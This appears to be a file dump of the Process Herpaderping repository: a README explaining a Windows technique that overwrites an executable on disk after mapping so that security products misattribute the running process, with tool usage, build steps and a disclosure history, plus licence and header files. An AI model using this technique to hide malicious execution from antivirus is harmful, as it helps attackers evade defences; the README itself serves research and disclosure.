sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n" }, { "path": "Inject/herpaderping-main/README.md", "content": "# Process Herpaderping \n[][png.HerpaderpIcon]\nProcess Herpaderping is a method of obscuring the intentions of a process by \nmodifying the content on disk after the image has been mapped. This results \nin curious behavior by security products and the OS itself.\n\n![][png.mimioogle]\n\n![][gif.SurivDemo]\n\n## Summary\nGenerally, a security product takes action on process creation by registering a \ncallback in the Windows Kernel \n([PsSetCreateProcessNotifyRoutineEx][msdn.PsSetCreateProcessNotifyRoutineEx]). \nAt this point, a security product may inspect the file that was used to map \nthe executable and determine if this process should be allowed to execute. This \nkernel callback is invoked when the initial thread is inserted, not when the \nprocess object is created. \n\nBecause of this, an actor can create and map a process, modify the content of \nthe file, then create the initial thread. A product that does inspection at the \ncreation callback would see the modified content. Additionally, some products \nuse an on-write scanning approach which consists of monitoring for file writes. \nA familiar optimization here is recording the file has been written to and \ndefer the actual inspection until [IRP_MJ_CLEANUP][msdn.IRP_MJ_CLEANUP] \noccurs (e.g. the file handle is closed). Thus, an actor using a \n`write -> map -> modify -> execute -> close` workflow will subvert on-write scanning \nthat solely relies on inspection at [IRP_MJ_CLEANUP][msdn.IRP_MJ_CLEANUP].\n\nTo abuse this convention, we first write a binary to a target file on disk. \nThen, we map an image of the target file and provide it to the OS to use for \nprocess creation. The OS kindly maps the original binary for us. Using \nthe existing file handle, and before creating the initial thread, we modify the \ntarget file content to obscure or fake the file backing the image. Some time later, \nwe create the initial thread to begin execution of the original binary. Finally, we \n will close the target file handle. Let's walk through this step-by-step:\n1. Write target binary to disk, keeping the handle open. This is what will \n execute in memory.\n2. Map the file as an image section ([NtCreateSection][msdn.NtCreateSection], \n [SEC_IMAGE][msdn.SEC_IMAGE]).\n3. Create the process object using the section handle (`NtCreateProcessEx`).\n4. Using the same target file handle, obscure the file on disk.\n5. Create the initial thread in the process (`NtCreateThreadEx`).\n - At this point the process creation callback in the kernel will fire. The \n contents on disk do not match what was mapped. Inspection of the file at \n this point will result in incorrect attribution.\n6. Close the handle. [IRP_MJ_CLEANUP][msdn.IRP_MJ_CLEANUP] will occur here.\n - Since we've hidden the contents of what is executing, inspection at this \n point will result in incorrect attribution.\n\n![][svg.StateDiagram]\n
\n plantuml\n

\n\n```plantuml\n@startuml\nhide empty description\n\n[*] --> CreateFile\nCreateFile --> FileHandle\nFileHandle --> Write\nFileHandle --> NtCreateSection\nWrite -[hidden]-> NtCreateSection\nNtCreateSection --> SectionHandle\nSectionHandle --> NtCreateProcessEx\nFileHandle --> Modify\nNtCreateProcessEx -[hidden]-> Modify\nNtCreateProcessEx --> NtCreateThreadEx\nModify -[hidden]-> NtCreateThreadEx\nNtCreateThreadEx --> [*]\nFileHandle --> CloseFile\nNtCreateThreadEx -[hidden]-> CloseFile\nNtCreateThreadEx --> PspCallProcessNotifyRoutines\nPspCallProcessNotifyRoutines -[hidden]-> [*]\nCloseFile --> IRP_MJ_CLEANUP\nIRP_MJ_CLEANUP -[hidden]-> [*]\nPspCallProcessNotifyRoutines --> Inspect\nPspCallProcessNotifyRoutines -[hidden]-> CloseFile \nIRP_MJ_CLEANUP --> Inspect\nInspect -[hidden]-> [*]\n\nCreateFile : Create target file, keep handle open.\nWrite : Write source payload into target file.\nModify : Obscure the file on disk.\nNtCreateSection : Create section using file handle.\nNtCreateProcessEx : Image section for process is mapped and cached in file object.\nNtCreateThreadEx : The cached section is used.\nNtCreateThreadEx : Process notify routines fire in kernel.\nInspect : The contents on disk do not match what was executed. \nInspect : Inspection of the file at this point will result in incorrect attribution.\n@enduml\n```\n\n

\n
\n\n## Behavior\nYou'll see in the demo below, `CMD.exe` is used as the execution target. The \nfirst run overwrites the bytes on disk with a pattern. The second run overwrites \n`CMD.exe` with `ProcessHacker.exe`. The Herpaderping tool fixes up the binary to \nlook as close to `ProcessHacker.exe` as possible, even retaining the original \nsignature. Note the multiple executions of the same binary and how the process \nlooks to the user compared to what is in the file on disk.\n\n![][gif.ProcessHerpaderp]\n\n![][png.procmon]\n\n### Diving Deeper \nWe've observed the behavior and some of this may be surprising. Let's try to \nexplain this behavior.\n\n[Technical Deep Dive][md.DivingDeeper]\n\n## Background and Motivation\nWhen designing products for securing Windows platforms, many engineers in \nthis field (myself included) have fallen on preconceived notions with respect \nto how the OS will handle data. In this scenario, some might expect the file on \ndisk to remain \"locked\" when the process is created. You can't delete the file. \nYou can't write to it. But you can rename it. Seen here, under the right \nconditions, you can in fact write to it. Remain vigilant on your assumptions, \nalways question them, and do your research.\n\nThe motivation for this research came about when discovering how to do analysis \nwhen a file is written. With prior background researching process Hollowing and \nDoppelganging, I had theorized this might be possible. The goal is to provide \nbetter security. You cannot create a better lock without first understanding \nhow to break the old one.\n\n### Similar Techniques\nHerpaderping is similar to Hollowing and Doppelganging however there are some \nkey differences:\n\n#### Process Hollowing\nProcess Hollowing involves modifying the mapped section before execution \nbegins, which abstractly this looks like: `map -> modify section -> execute`. This workflow \nresults in the intended execution flow of the Hollowed process diverging into \nunintended code. Doppelganging might be considered a form of Hollowing. \nHowever, Hollowing, in my opinion, is closer to injection in that Hollowing \nusually involves an explicit write to the already mapped code. This differs \nfrom Herpaderping where there are no modified sections.\n\n#### Process Doppelganging\nProcess Doppelganging is closer to Herpaderping. Doppelganging abuses \ntransacted file operations and generally involves these steps: \n`transact -> write -> map -> rollback -> execute`. \nIn this workflow, the OS will create the image section and account for \ntransactions, so the cached image section ends up being what you wrote to the \ntransaction. The OS has patched this technique. Well, they patched the crash it caused. \nMaybe they consider this a \"legal\" use of a transaction. Thankfully, Windows \nDefender does catch the Doppelganging technique. Doppelganging differs from \nHerpaderping in that Herpaderping does not rely on transacted file operations. \nAnd Defender doesn't catch Herpaderping.\n\n#### Comparison\nFor reference, the generalized techniques: \n\n| Type | Technique |\n| :------------ | :------------------------------------------------ |\n| Hollowing | `map -> modify section -> execute` |\n| Doppelganging | `transact -> write -> map -> rollback -> execute` |\n| Herpaderping | `write -> map -> modify -> execute -> close` |\n\nWe can see the differences laid out here. While Herpaderping is arguably \nnoisier than Doppelganging, in that the malicious bits do hit the disk, we've \nseen that security products are still incapable of detecting Herpaderping. \n\n## Possible Solution\nThere is not a clear fix here. It seems reasonable that preventing an image \nsection from being mapped/cached when there is write access to the file \nshould close the hole. However, that may or may not be a practical solution.\n\nAnother option might be to flush the changes to the file through to the cached \nimage section if it hasn't yet been mapped into a process. However, since the \nmap into the new process occurs at `NtCreateProcess` that is probably not a \nviable solution.\n\nFrom a detection standpoint, there is not a great way to identify the actual \nbits that got mapped, inspection at [IRP_MJ_CLEANUP][msdn.IRP_MJ_CLEANUP] or \na callback registered at \n[PsSetCreateProcessNotifyRoutineEx][msdn.PsSetCreateProcessNotifyRoutineEx] \nresults in incorrect attribution since the bits on disk have been changed, you \nwould have to rebuild the file from the section that got created. It's worth \npointing out here there is a new callback in Windows 10 you may register for \n[PsSetCreateProcessNotifyRoutineEx2][msdn.PsSetCreateProcessNotifyRoutineEx2] \nhowever this suffers from the same problem as the previous callback, it's \ncalled out when the initial thread is executed, not when the process object is \ncreated. Microsoft did add \n[PsSetCreateThreadNotifyRoutineEx][msdn.PsSetCreateThreadNotifyRoutineEx] which \nis called out when the initial thread is inserted if registered with \n[PsCreateThreadNotifyNonSystem][msdn.PSCREATETHREADNOTIFYTYPE], opposed to when \nit is about to begin execution (as the old callback did). Extending \n[PSCREATEPROCESSNOTIFYTYPE][msdn.PSCREATEPROCESSNOTIFYTYPE] to be called out \nwhen the process object is created won't help either, we've seen in the \n[Diving Deeper](#tag-diving-deeper) section that the image section object is \ncached on the [NtCreateSection][msdn.NtCreateSection] call not \n`NtCreateProcess`.\n\nWe can't easily identify what got executed. We're left with trying to detect \nthe exploitive behavior by the actor, I'll leave discovery of the behavior \nindicators as an exercise for the reader.\n\n## Known Affected Platforms\nBelow is a list of products and Windows OSes that have been tested as of \n(8/31/2020). Tests were carried out with a known malicious binary.\n\n| Operating System | Version | Vulnerable |\n| :---------------------------------- | :-------------- | :--------: |\n| Windows 7 Enterprise x86 | 6.1.7601 | Yes |\n| Windows 10 Pro x64 | 10.0.18363.900 | Yes |\n| Windows 10 Pro Insider Preview x64 | 10.0.20170.1000 | Yes |\n| Windows 10 Pro Insider Preview x64 | 10.0.20201.1000 | Yes |\n\n| Security Product | Version | Vulnerable |\n| :---------------------------------- | :------------ | :--------: |\n| Windows Defender AntiMalware Client | 4.18.2006.10 | Yes |\n| Windows Defender Engine | 1.1.17200.2 | Yes |\n| Windows Defender Antivirus | 1.319.1127.0 | Yes |\n| Windows Defender Antispyware | 1.319.1127.0 | Yes |\n| Windows Defender AntiMalware Client | 4.18.2007.6 | Yes |\n| Windows Defender Engine | 1.1.17300.2 | Yes |\n| Windows Defender Antivirus | 1.319.1676.0 | Yes |\n| Windows Defender Antispyware | 1.319.1676.0 | Yes |\n| Windows Defender AntiMalware Client | 4.18.2007.8 | Yes |\n| Windows Defender Engine | 1.1.17400.5 | Yes |\n| Windows Defender Antivirus | 1.323.267.0 | Yes |\n| Windows Defender Antispyware | 1.323.267.0 | Yes |\n\n## Responsible Disclosure\nThis vulnerability was disclosed to the Microsoft Security Response Center \n(MSRC) on 7/17/2020 and a case was opened by MSRC on 7/22/2020. MSRC concluded \ntheir investigation on 8/25/2020 and determined the findings are valid but do \nnot meet their bar for immediate servicing. At this time their case is closed, \nwithout resolution, and is marked for future review, with no timeline.\n\nWe disagree on the severity of this bug; this was communicated to MSRC on \n8/27/2020. \n1. There are similar vulnerabilities in this class (Hollowing and \nDoppelganging). \n1. The vulnerability is shown to defeat security features inherent to the \nOS (Windows Defender).\n1. The vulnerability allows an actor to gain execution of arbitrary code.\n1. The user is not notified of the execution of unintended code.\n1. The process information presented to the user does not accurately reflect \nwhat is executing. \n1. Facilities to accurately identify the process are not intuitive or \nincorrect, even from the kernel. \n\n\n# Source \nThis repo contains a tool for exercising the Herpaderping method of process \nobfuscation. Usage is as follows:\n```\nProcess Herpaderping Tool - Copyright (c) Johnny Shaw\nProcessHerpaderping.exe SourceFile TargetFile [ReplacedWith] [Options...]\nUsage:\n SourceFile Source file to execute.\n TargetFile Target file to execute the source from.\n ReplacedWith File to replace the target with. Optional,\n default overwrites the binary with a pattern.\n -h,--help Prints tool usage.\n -d,--do-not-wait Does not wait for spawned process to exit,\n default waits.\n -l,--logging-mask number Specifies the logging mask, defaults to full\n logging.\n 0x1 Successes\n 0x2 Informational\n 0x4 Warnings\n 0x8 Errors\n 0x10 Contextual\n -q,--quiet Runs quietly, overrides logging mask, no title.\n -r,--random-obfuscation Uses random bytes rather than a pattern for\n file obfuscation.\n -e,--exclusive Target file is created with exclusive access and\n the handle is held open as long as possible.\n Without this option the handle has full share\n access and is closed as soon as possible.\n -u,--do-not-flush-file Does not flush file after overwrite.\n -c,--close-file-early Closes file before thread creation (before the\n process notify callback fires in the kernel).\n Not valid with \"--exclusive\" option.\n -k,--kill Terminates the spawned process regardless of\n success or failure, this is useful in some\n automation environments. Forces \"--do-not-wait\n option.\n```\n\n## Cloning and Building\nThe repo uses submodules, after cloning be sure to init and update the \nsubmodules. Projects files are targeted to Visual Studio 2019.\n```\ngit clone https://github.com/jxy-s/herpaderping.git\ncd .\\herpaderping\\\ngit submodule update --init --recursive\nMSBuild .\\herpaderping.sln\n```\n\n## Credits\nThe following are used without modification. Credits to their authors.\n- [Windows Implementation Libraries (WIL)][github.wil] \nA header-only C++ library created to make life easier for developers on Windows \nthrough readable type-safe C++ interfaces for common Windows coding patterns. \n- [Process Hacker Native API Headers][github.phnt] \nCollection of Native API header files. Gathered from Microsoft header files and \nsymbol files, as well as a lot of reverse engineering and guessing.\n\n[//]: # (Hyperlink IDs)\n[github.wil]: https://github.com/microsoft/wil\n[github.phnt]: https://github.com/processhacker/phnt\n[msdn.PsSetCreateProcessNotifyRoutineEx]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex\n[msdn.PsSetCreateProcessNotifyRoutineEx2]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex2\n[msdn.PsSetCreateThreadNotifyRoutineEx]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreatethreadnotifyroutineex\n[msdn.PSCREATETHREADNOTIFYTYPE]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ne-ntddk-_pscreatethreadnotifytype\n[msdn.PSCREATEPROCESSNOTIFYTYPE]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ne-ntddk-_pscreateprocessnotifytype\n[msdn.IRP_MJ_CLEANUP]: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/irp-mj-cleanup\n[msdn.NtCreateSection]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwcreatesection\n[msdn.SEC_IMAGE]: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga\n[msdn.IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/flt-parameters-for-irp-mj-acquire-for-section-synchronization\n[msdn.IRP_MJ_WRITE]: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/irp-mj-write \n[msdn.FILE_OBJECT]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_file_object\n[msdn.SECTION_OBJECT_POINTERS]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_section_object_pointers\n[msdn.PS_CREATE_NOTIFY_INFO]: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_ps_create_notify_info\n\n[//]: # (Relative Path IDs)\n[gif.ProcessHerpaderp]: res/ProcessHerpaderp.gif\n[gif.SurivDemo]: res/SurivDemo.gif\n[png.procmon]: res/procmon.png\n[png.mimioogle]: res/mimioogle.png\n[svg.StateDiagram]: res/StateDiagram.svg\n[png.HerpaderpIcon]: res/HerpaderpIcon.png\n[md.DivingDeeper]: res/DivingDeeper.md" }, { "path": "Inject/herpaderping-main/_config.yml", "content": "title: herpaderping\nlogo: res/HerpaderpIcon.png\ndescription: Detection Evasion Exploit\nshow_downloads: true\ngoogle_analytics:\ntheme: jekyll-theme-minimal\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/LICENSE", "content": "Attribution 4.0 International\n\n=======================================================================\n\nCreative Commons Corporation (\"Creative Commons\") is not a law firm and\ndoes not provide legal services or legal advice. Distribution of\nCreative Commons public licenses does not create a lawyer-client or\nother relationship. Creative Commons makes its licenses and related\ninformation available on an \"as-is\" basis. Creative Commons gives no\nwarranties regarding its licenses, any material licensed under their\nterms and conditions, or any related information. Creative Commons\ndisclaims all liability for damages resulting from their use to the\nfullest extent possible.\n\nUsing Creative Commons Public Licenses\n\nCreative Commons public licenses provide a standard set of terms and\nconditions that creators and other rights holders may use to share\noriginal works of authorship and other material subject to copyright\nand certain other rights specified in the public license below. The\nfollowing considerations are for informational purposes only, are not\nexhaustive, and do not form part of our licenses.\n\n Considerations for licensors: Our public licenses are\n intended for use by those authorized to give the public\n permission to use material in ways otherwise restricted by\n copyright and certain other rights. Our licenses are\n irrevocable. Licensors should read and understand the terms\n and conditions of the license they choose before applying it.\n Licensors should also secure all rights necessary before\n applying our licenses so that the public can reuse the\n material as expected. Licensors should clearly mark any\n material not subject to the license. This includes other CC-\n licensed material, or material used under an exception or\n limitation to copyright. More considerations for licensors:\n\twiki.creativecommons.org/Considerations_for_licensors\n\n Considerations for the public: By using one of our public\n licenses, a licensor grants the public permission to use the\n licensed material under specified terms and conditions. If\n the licensor's permission is not necessary for any reason--for\n example, because of any applicable exception or limitation to\n copyright--then that use is not regulated by the license. Our\n licenses grant only permissions under copyright and certain\n other rights that a licensor has authority to grant. Use of\n the licensed material may still be restricted for other\n reasons, including because others have copyright or other\n rights in the material. A licensor may make special requests,\n such as asking that all changes be marked or described.\n Although not required by our licenses, you are encouraged to\n respect those requests where reasonable. More considerations\n for the public: \n\twiki.creativecommons.org/Considerations_for_licensees\n\n=======================================================================\n\nCreative Commons Attribution 4.0 International Public License\n\nBy exercising the Licensed Rights (defined below), You accept and agree\nto be bound by the terms and conditions of this Creative Commons\nAttribution 4.0 International Public License (\"Public License\"). To the\nextent this Public License may be interpreted as a contract, You are\ngranted the Licensed Rights in consideration of Your acceptance of\nthese terms and conditions, and the Licensor grants You such rights in\nconsideration of benefits the Licensor receives from making the\nLicensed Material available under these terms and conditions.\n\n\nSection 1 -- Definitions.\n\n a. Adapted Material means material subject to Copyright and Similar\n Rights that is derived from or based upon the Licensed Material\n and in which the Licensed Material is translated, altered,\n arranged, transformed, or otherwise modified in a manner requiring\n permission under the Copyright and Similar Rights held by the\n Licensor. For purposes of this Public License, where the Licensed\n Material is a musical work, performance, or sound recording,\n Adapted Material is always produced where the Licensed Material is\n synched in timed relation with a moving image.\n\n b. Adapter's License means the license You apply to Your Copyright\n and Similar Rights in Your contributions to Adapted Material in\n accordance with the terms and conditions of this Public License.\n\n c. Copyright and Similar Rights means copyright and/or similar rights\n closely related to copyright including, without limitation,\n performance, broadcast, sound recording, and Sui Generis Database\n Rights, without regard to how the rights are labeled or\n categorized. For purposes of this Public License, the rights\n specified in Section 2(b)(1)-(2) are not Copyright and Similar\n Rights.\n\n d. Effective Technological Measures means those measures that, in the\n absence of proper authority, may not be circumvented under laws\n fulfilling obligations under Article 11 of the WIPO Copyright\n Treaty adopted on December 20, 1996, and/or similar international\n agreements.\n\n e. Exceptions and Limitations means fair use, fair dealing, and/or\n any other exception or limitation to Copyright and Similar Rights\n that applies to Your use of the Licensed Material.\n\n f. Licensed Material means the artistic or literary work, database,\n or other material to which the Licensor applied this Public\n License.\n\n g. Licensed Rights means the rights granted to You subject to the\n terms and conditions of this Public License, which are limited to\n all Copyright and Similar Rights that apply to Your use of the\n Licensed Material and that the Licensor has authority to license.\n\n h. Licensor means the individual(s) or entity(ies) granting rights\n under this Public License.\n\n i. Share means to provide material to the public by any means or\n process that requires permission under the Licensed Rights, such\n as reproduction, public display, public performance, distribution,\n dissemination, communication, or importation, and to make material\n available to the public including in ways that members of the\n public may access the material from a place and at a time\n individually chosen by them.\n\n j. Sui Generis Database Rights means rights other than copyright\n resulting from Directive 96/9/EC of the European Parliament and of\n the Council of 11 March 1996 on the legal protection of databases,\n as amended and/or succeeded, as well as other essentially\n equivalent rights anywhere in the world.\n\n k. You means the individual or entity exercising the Licensed Rights\n under this Public License. Your has a corresponding meaning.\n\n\nSection 2 -- Scope.\n\n a. License grant.\n\n 1. Subject to the terms and conditions of this Public License,\n the Licensor hereby grants You a worldwide, royalty-free,\n non-sublicensable, non-exclusive, irrevocable license to\n exercise the Licensed Rights in the Licensed Material to:\n\n a. reproduce and Share the Licensed Material, in whole or\n in part; and\n\n b. produce, reproduce, and Share Adapted Material.\n\n 2. Exceptions and Limitations. For the avoidance of doubt, where\n Exceptions and Limitations apply to Your use, this Public\n License does not apply, and You do not need to comply with\n its terms and conditions.\n\n 3. Term. The term of this Public License is specified in Section\n 6(a).\n\n 4. Media and formats; technical modifications allowed. The\n Licensor authorizes You to exercise the Licensed Rights in\n all media and formats whether now known or hereafter created,\n and to make technical modifications necessary to do so. The\n Licensor waives and/or agrees not to assert any right or\n authority to forbid You from making technical modifications\n necessary to exercise the Licensed Rights, including\n technical modifications necessary to circumvent Effective\n Technological Measures. For purposes of this Public License,\n simply making modifications authorized by this Section 2(a)\n (4) never produces Adapted Material.\n\n 5. Downstream recipients.\n\n a. Offer from the Licensor -- Licensed Material. Every\n recipient of the Licensed Material automatically\n receives an offer from the Licensor to exercise the\n Licensed Rights under the terms and conditions of this\n Public License.\n\n b. No downstream restrictions. You may not offer or impose\n any additional or different terms or conditions on, or\n apply any Effective Technological Measures to, the\n Licensed Material if doing so restricts exercise of the\n Licensed Rights by any recipient of the Licensed\n Material.\n\n 6. No endorsement. Nothing in this Public License constitutes or\n may be construed as permission to assert or imply that You\n are, or that Your use of the Licensed Material is, connected\n with, or sponsored, endorsed, or granted official status by,\n the Licensor or others designated to receive attribution as\n provided in Section 3(a)(1)(A)(i).\n\n b. Other rights.\n\n 1. Moral rights, such as the right of integrity, are not\n licensed under this Public License, nor are publicity,\n privacy, and/or other similar personality rights; however, to\n the extent possible, the Licensor waives and/or agrees not to\n assert any such rights held by the Licensor to the limited\n extent necessary to allow You to exercise the Licensed\n Rights, but not otherwise.\n\n 2. Patent and trademark rights are not licensed under this\n Public License.\n\n 3. To the extent possible, the Licensor waives any right to\n collect royalties from You for the exercise of the Licensed\n Rights, whether directly or through a collecting society\n under any voluntary or waivable statutory or compulsory\n licensing scheme. In all other cases the Licensor expressly\n reserves any right to collect such royalties.\n\n\nSection 3 -- License Conditions.\n\nYour exercise of the Licensed Rights is expressly made subject to the\nfollowing conditions.\n\n a. Attribution.\n\n 1. If You Share the Licensed Material (including in modified\n form), You must:\n\n a. retain the following if it is supplied by the Licensor\n with the Licensed Material:\n\n i. identification of the creator(s) of the Licensed\n Material and any others designated to receive\n attribution, in any reasonable manner requested by\n the Licensor (including by pseudonym if\n designated);\n\n ii. a copyright notice;\n\n iii. a notice that refers to this Public License;\n\n iv. a notice that refers to the disclaimer of\n warranties;\n\n v. a URI or hyperlink to the Licensed Material to the\n extent reasonably practicable;\n\n b. indicate if You modified the Licensed Material and\n retain an indication of any previous modifications; and\n\n c. indicate the Licensed Material is licensed under this\n Public License, and include the text of, or the URI or\n hyperlink to, this Public License.\n\n 2. You may satisfy the conditions in Section 3(a)(1) in any\n reasonable manner based on the medium, means, and context in\n which You Share the Licensed Material. For example, it may be\n reasonable to satisfy the conditions by providing a URI or\n hyperlink to a resource that includes the required\n information.\n\n 3. If requested by the Licensor, You must remove any of the\n information required by Section 3(a)(1)(A) to the extent\n reasonably practicable.\n\n 4. If You Share Adapted Material You produce, the Adapter's\n License You apply must not prevent recipients of the Adapted\n Material from complying with this Public License.\n\n\nSection 4 -- Sui Generis Database Rights.\n\nWhere the Licensed Rights include Sui Generis Database Rights that\napply to Your use of the Licensed Material:\n\n a. for the avoidance of doubt, Section 2(a)(1) grants You the right\n to extract, reuse, reproduce, and Share all or a substantial\n portion of the contents of the database;\n\n b. if You include all or a substantial portion of the database\n contents in a database in which You have Sui Generis Database\n Rights, then the database in which You have Sui Generis Database\n Rights (but not its individual contents) is Adapted Material; and\n\n c. You must comply with the conditions in Section 3(a) if You Share\n all or a substantial portion of the contents of the database.\n\nFor the avoidance of doubt, this Section 4 supplements and does not\nreplace Your obligations under this Public License where the Licensed\nRights include other Copyright and Similar Rights.\n\n\nSection 5 -- Disclaimer of Warranties and Limitation of Liability.\n\n a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE\n EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS\n AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF\n ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS,\n IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION,\n WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR\n PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,\n ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT\n KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT\n ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU.\n\n b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE\n TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION,\n NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT,\n INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES,\n COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR\n USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN\n ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR\n DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR\n IN PART, THIS LIMITATION MAY NOT APPLY TO YOU.\n\n c. The disclaimer of warranties and limitation of liability provided\n above shall be interpreted in a manner that, to the extent\n possible, most closely approximates an absolute disclaimer and\n waiver of all liability.\n\n\nSection 6 -- Term and Termination.\n\n a. This Public License applies for the term of the Copyright and\n Similar Rights licensed here. However, if You fail to comply with\n this Public License, then Your rights under this Public License\n terminate automatically.\n\n b. Where Your right to use the Licensed Material has terminated under\n Section 6(a), it reinstates:\n\n 1. automatically as of the date the violation is cured, provided\n it is cured within 30 days of Your discovery of the\n violation; or\n\n 2. upon express reinstatement by the Licensor.\n\n For the avoidance of doubt, this Section 6(b) does not affect any\n right the Licensor may have to seek remedies for Your violations\n of this Public License.\n\n c. For the avoidance of doubt, the Licensor may also offer the\n Licensed Material under separate terms or conditions or stop\n distributing the Licensed Material at any time; however, doing so\n will not terminate this Public License.\n\n d. Sections 1, 5, 6, 7, and 8 survive termination of this Public\n License.\n\n\nSection 7 -- Other Terms and Conditions.\n\n a. The Licensor shall not be bound by any additional or different\n terms or conditions communicated by You unless expressly agreed.\n\n b. Any arrangements, understandings, or agreements regarding the\n Licensed Material not stated herein are separate from and\n independent of the terms and conditions of this Public License.\n\n\nSection 8 -- Interpretation.\n\n a. For the avoidance of doubt, this Public License does not, and\n shall not be interpreted to, reduce, limit, restrict, or impose\n conditions on any use of the Licensed Material that could lawfully\n be made without permission under this Public License.\n\n b. To the extent possible, if any provision of this Public License is\n deemed unenforceable, it shall be automatically reformed to the\n minimum extent necessary to make it enforceable. If the provision\n cannot be reformed, it shall be severed from this Public License\n without affecting the enforceability of the remaining terms and\n conditions.\n\n c. No term or condition of this Public License will be waived and no\n failure to comply consented to unless expressly agreed to by the\n Licensor.\n\n d. Nothing in this Public License constitutes or may be interpreted\n as a limitation upon, or waiver of, any privileges and immunities\n that apply to the Licensor or You, including from the legal\n processes of any jurisdiction or authority.\n\n\n=======================================================================\n\nCreative Commons is not a party to its public\nlicenses. Notwithstanding, Creative Commons may elect to apply one of\nits public licenses to material it publishes and in those instances\nwill be considered the “Licensor.” The text of the Creative Commons\npublic licenses is dedicated to the public domain under the CC0 Public\nDomain Dedication. Except for the limited purpose of indicating that\nmaterial is shared under a Creative Commons public license or as\notherwise permitted by the Creative Commons policies published at\ncreativecommons.org/policies, Creative Commons does not authorize the\nuse of the trademark \"Creative Commons\" or any other trademark or logo\nof Creative Commons without its prior written consent including,\nwithout limitation, in connection with any unauthorized modifications\nto any of its public licenses or any other arrangements,\nunderstandings, or agreements concerning use of licensed material. For\nthe avoidance of doubt, this paragraph does not form part of the\npublic licenses.\n\nCreative Commons may be contacted at creativecommons.org.\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/README.md", "content": "This collection of Native API header files has been maintained since 2009 for the Process Hacker project, and is the most up-to-date set of Native API definitions that we know of. We have gathered these definitions from official Microsoft header files and symbol files, as well as a lot of reverse engineering and guessing. See `phnt.h` for more information.\n\n## Usage\n\nFirst make sure that your program is using the latest Windows SDK.\n\nThese header files are designed to be used by user-mode programs. Instead of `#include `, place\n\n```\n#include \n#include \n```\n\nat the top of your program. The first line provides access to the Win32 API as well as the `NTSTATUS` values. The second line provides access to the entire Native API. By default, only definitions present in Windows XP are included into your program. To change this, use one of the following:\n\n```\n#define PHNT_VERSION PHNT_WINXP // Windows XP\n#define PHNT_VERSION PHNT_WS03 // Windows Server 2003\n#define PHNT_VERSION PHNT_VISTA // Windows Vista\n#define PHNT_VERSION PHNT_WIN7 // Windows 7\n#define PHNT_VERSION PHNT_WIN8 // Windows 8\n#define PHNT_VERSION PHNT_WINBLUE // Windows 8.1\n#define PHNT_VERSION PHNT_THRESHOLD // Windows 10\n```\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntdbg.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTDBG_H\n#define _NTDBG_H\n\n// Debugging\n\nNTSYSAPI\nVOID\nNTAPI\nDbgUserBreakPoint(\n VOID\n );\n\nNTSYSAPI\nVOID\nNTAPI\nDbgBreakPoint(\n VOID\n );\n\nNTSYSAPI\nVOID\nNTAPI\nDbgBreakPointWithStatus(\n _In_ ULONG 